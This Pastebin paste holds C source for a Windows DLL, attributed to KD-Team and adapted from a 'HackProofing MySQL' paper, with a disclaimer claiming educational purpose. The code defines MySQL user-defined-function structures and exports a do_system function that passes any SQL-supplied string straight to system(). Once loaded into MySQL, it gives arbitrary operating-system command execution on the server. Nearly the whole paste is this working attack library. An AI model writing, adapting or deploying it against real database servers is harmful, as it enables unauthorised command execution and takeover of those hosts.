Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
- +This is a little Disclaimer for if you havn't read the one on our site. +
- +The tools and tutorials KD-Team develops and publishes are only ment for +
- +educational purpose only.WE DO NOT encourage the use of this tools and +
- +tutorials for mailicious purpose.We learned a lot during the development of them +
- +so we hope you also learn and don't just use it without any brains. +
- +We take completly NO responsability for any damage caused by them nor +
- +are we or our isp responsible for what you do with them. +
- +Greetz: KD-Team +
- +http://www.kd-team.com +
- ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
- */
- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
- /*
- This has been slightly modified for WIN32 By DiabloHorn Member of Kd-Team.com
- Original code: HackProofing MySQL By Chris Anley
- */
- BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
- {
- return TRUE;
- }
- enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
- typedef struct st_udf_args
- {
- unsigned int arg_count; /* Number of arguments */
- enum Item_result *arg_type; /* Pointer to item_results */
- char **args; /* Pointer to argument */
- unsigned long *lengths; /* Length of string arguments */
- char *maybe_null; /* Set to 1 for all maybe_null args */
- //Page 18;
- } UDF_ARGS;
- typedef struct st_udf_init
- {
- char maybe_null; /* 1 if function can return NULL */
- unsigned int decimals; /* for real functions */
- unsigned long max_length; /* For string functions */
- char *ptr; /* free pointer for function data */
- char const_item; /* 0 if result is independent of arguments */
- } UDF_INIT;
- extern "C" __declspec (dllexport) int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
- {
- if( args->arg_count != 1 )
- {
- return 0;
- }
- system( args->args[0] );
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement